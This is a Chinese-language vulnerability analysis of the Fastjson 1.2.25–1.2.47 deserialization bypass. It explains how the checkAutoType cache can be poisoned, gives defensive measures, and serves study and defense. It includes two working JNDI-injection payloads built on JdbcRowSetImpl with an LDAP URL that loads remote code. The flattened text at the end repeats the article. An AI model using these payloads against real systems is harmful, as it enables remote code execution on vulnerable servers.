fastjson反序列化1.2.47版本绕过
字数 1538 2025-08-10 17:51:51

Fastjson 1.2.47版本反序列化漏洞分析与绕过技术

0x01 漏洞背景

Fastjson是阿里巴巴开源的一个高性能JSON处理库。在1.2.24及之前版本存在反序列化漏洞,攻击者可以通过精心构造的JSON数据实现远程代码执行。在1.2.25版本中,Fastjson团队通过引入checkAutoType函数和黑白名单机制修复了该漏洞。然而,在1.2.25到1.2.47版本中,仍然存在绕过方法。

0x02 1.2.25版本的修复机制

checkAutoType函数分析

checkAutoType函数是1.2.25版本引入的核心安全检测机制,其主要逻辑如下:

public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
    if (typeName == null) {
        return null;
    }
    
    // 类名规范化处理
    final String className = typeName.replace('$', '.');
    
    // 如果开启AutoTypeSupport或有期望类
    if (autoTypeSupport || expectClass != null) {
        // 白名单检查
        for (String accept : acceptList) {
            if (className.startsWith(accept)) {
                return TypeUtils.loadClass(typeName, defaultClassLoader);
            }
        }
        
        // 黑名单检查
        for (String deny : denyList) {
            if (className.startsWith(deny)) {
                throw new JSONException("autoType is not support. " + typeName);
            }
        }
    }
    
    // 从缓存中查找类
    Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
    if (clazz == null) {
        clazz = deserializers.findClass(typeName); // 从反序列化器中查找
    }
    
    if (clazz != null) {
        if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
            throw new JSONException("type not match. " + typeName + ", " + expectClass.getName());
        }
        return clazz;
    }
    
    // 未开启AutoTypeSupport时的额外检查
    if (!autoTypeSupport) {
        // 再次黑名单检查
        for (String deny : denyList) {
            if (className.startsWith(deny)) {
                throw new JSONException("autoType is not support. " + typeName);
            }
        }
        
        // 白名单检查
        for (String accept : acceptList) {
            if (className.startsWith(accept)) {
                clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
                if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                    throw new JSONException("type not match. " + typeName + ", " + expectClass.getName());
                }
                return clazz;
            }
        }
    }
    
    // 开启AutoTypeSupport时的处理
    if (autoTypeSupport || expectClass != null) {
        clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
    }
    
    // 最终安全检查
    if (clazz != null) {
        if (ClassLoader.class.isAssignableFrom(clazz) || 
            DataSource.class.isAssignableFrom(clazz)) {
            throw new JSONException("autoType is not support. " + typeName);
        }
        
        if (expectClass != null) {
            if (expectClass.isAssignableFrom(clazz)) {
                return clazz;
            } else {
                throw new JSONException("type not match. " + typeName + ", " + expectClass.getName());
            }
        }
    }
    
    if (!autoTypeSupport) {
        throw new JSONException("autoType is not support. " + typeName);
    }
    
    return clazz;
}

关键安全机制

  1. 黑白名单机制

    • 白名单(acceptList):默认为空
    • 黑名单(denyList):包含已知的危险类,如com.sun包下的漏洞利用类
  2. 缓存检查

    • 首先检查类是否已在mapping缓存中
    • 然后检查是否在反序列化器中
  3. AutoTypeSupport开关

    • 默认关闭(false)
    • 开启后会放宽安全检查

0x03 1.2.47版本绕过方法

绕过思路

通过分析checkAutoType函数,发现如果恶意类已经存在于缓存中(mapping),就可以绕过黑白名单检查。因此,攻击思路是:

  1. 先通过某种方式将恶意类放入缓存
  2. 然后正常反序列化恶意类,此时会直接从缓存中获取,绕过安全检查

具体利用方法

  1. 利用java.lang.ClassMiscCodec

    • java.lang.Class类默认使用MiscCodec反序列化器
    • 当反序列化Class类型时,会调用TypeUtils.loadClass方法
    • loadClass方法会将类名放入mapping缓存
  2. 利用链

    java.lang.Class --> MiscCodec.deserialze --> TypeUtils.loadClass --> mappings.put
    com.sun.rowset.JdbcRowSetImpl --> checkAutoType --> mappings.get --> 反序列化执行
    
  3. Payload构造

    • 需要构造一个两段的JSON:
      1. 第一段反序列化java.lang.Classval属性设置为恶意类名
      2. 第二段反序列化恶意类

示例Payload

String payload = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," +
                "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
                "\"DataSourceName\":\"ldap://127.0.0.1:8085/Exploit\"," +
                "\"autoCommit\":\"false\"}}";
JSON.parseObject(payload);

关键点说明

  1. 必须使用val属性

    • MiscCodec.deserialze会检查键是否为val,否则抛出异常
  2. 嵌套JSON结构

    • 使用两层{}结构,先处理Class类型,再处理恶意类
  3. JNDI注入

    • 利用JdbcRowSetImplDataSourceName属性实现JNDI注入

0x04 开启AutoTypeSupport的绕过方法

如果目标开启了AutoTypeSupport(默认关闭),有更简单的绕过方式:

绕过黑名单的方法

  1. L和;包裹类名

    • TypeUtils.loadClass会检查类名是否以L开头和以;结尾
    • 如果是,则去掉这些字符后再加载
    • 可以构造如Lcom.sun.rowset.JdbcRowSetImpl;的形式绕过黑名单检查
  2. 示例Payload

    String payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"," +
                    "\"DataSourceName\":\"ldap://127.0.0.1:8085/Exploit\"," +
                    "\"autoCommit\":\"false\"}";
    JSON.parseObject(payload);
    

0x05 漏洞影响范围

  • Fastjson 1.2.25 <= 版本 <= 1.2.47
  • 在更高版本(如1.2.68)中此方法已失效

0x06 防御措施

  1. 升级Fastjson

    • 升级到1.2.48及以上版本
  2. 关闭AutoType

    • 确保autoTypeSupport为false(默认值)
  3. 使用安全配置

    ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
    ParserConfig.getGlobalInstance().addDeny("com.sun.");
    
  4. 输入过滤

    • 对用户输入的JSON数据进行严格校验

0x07 总结

Fastjson在1.2.25到1.2.47版本中,通过缓存污染的方式可以绕过checkAutoType的安全检查,实现反序列化漏洞利用。理解这一漏洞需要对Fastjson的反序列化流程、黑白名单机制和缓存处理有深入认识。开发者应及时升级到安全版本,并合理配置安全选项。

Fastjson 1.2.47版本反序列化漏洞分析与绕过技术 0x01 漏洞背景 Fastjson是阿里巴巴开源的一个高性能JSON处理库。在1.2.24及之前版本存在反序列化漏洞,攻击者可以通过精心构造的JSON数据实现远程代码执行。在1.2.25版本中,Fastjson团队通过引入 checkAutoType 函数和黑白名单机制修复了该漏洞。然而,在1.2.25到1.2.47版本中,仍然存在绕过方法。 0x02 1.2.25版本的修复机制 checkAutoType函数分析 checkAutoType 函数是1.2.25版本引入的核心安全检测机制,其主要逻辑如下: 关键安全机制 黑白名单机制 : 白名单( acceptList ):默认为空 黑名单( denyList ):包含已知的危险类,如 com.sun 包下的漏洞利用类 缓存检查 : 首先检查类是否已在 mapping 缓存中 然后检查是否在反序列化器中 AutoTypeSupport开关 : 默认关闭(false) 开启后会放宽安全检查 0x03 1.2.47版本绕过方法 绕过思路 通过分析 checkAutoType 函数,发现如果恶意类已经存在于缓存中( mapping ),就可以绕过黑白名单检查。因此,攻击思路是: 先通过某种方式将恶意类放入缓存 然后正常反序列化恶意类,此时会直接从缓存中获取,绕过安全检查 具体利用方法 利用 java.lang.Class 和 MiscCodec : java.lang.Class 类默认使用 MiscCodec 反序列化器 当反序列化 Class 类型时,会调用 TypeUtils.loadClass 方法 loadClass 方法会将类名放入 mapping 缓存 利用链 : Payload构造 : 需要构造一个两段的JSON: 第一段反序列化 java.lang.Class , val 属性设置为恶意类名 第二段反序列化恶意类 示例Payload 关键点说明 必须使用 val 属性 : MiscCodec.deserialze 会检查键是否为 val ,否则抛出异常 嵌套JSON结构 : 使用两层 {} 结构,先处理 Class 类型,再处理恶意类 JNDI注入 : 利用 JdbcRowSetImpl 的 DataSourceName 属性实现JNDI注入 0x04 开启AutoTypeSupport的绕过方法 如果目标开启了 AutoTypeSupport (默认关闭),有更简单的绕过方式: 绕过黑名单的方法 L和;包裹类名 : TypeUtils.loadClass 会检查类名是否以 L 开头和以 ; 结尾 如果是,则去掉这些字符后再加载 可以构造如 Lcom.sun.rowset.JdbcRowSetImpl; 的形式绕过黑名单检查 示例Payload : 0x05 漏洞影响范围 Fastjson 1.2.25 <= 版本 <= 1.2.47 在更高版本(如1.2.68)中此方法已失效 0x06 防御措施 升级Fastjson : 升级到1.2.48及以上版本 关闭AutoType : 确保 autoTypeSupport 为false(默认值) 使用安全配置 : 输入过滤 : 对用户输入的JSON数据进行严格校验 0x07 总结 Fastjson在1.2.25到1.2.47版本中,通过缓存污染的方式可以绕过 checkAutoType 的安全检查,实现反序列化漏洞利用。理解这一漏洞需要对Fastjson的反序列化流程、黑白名单机制和缓存处理有深入认识。开发者应及时升级到安全版本,并合理配置安全选项。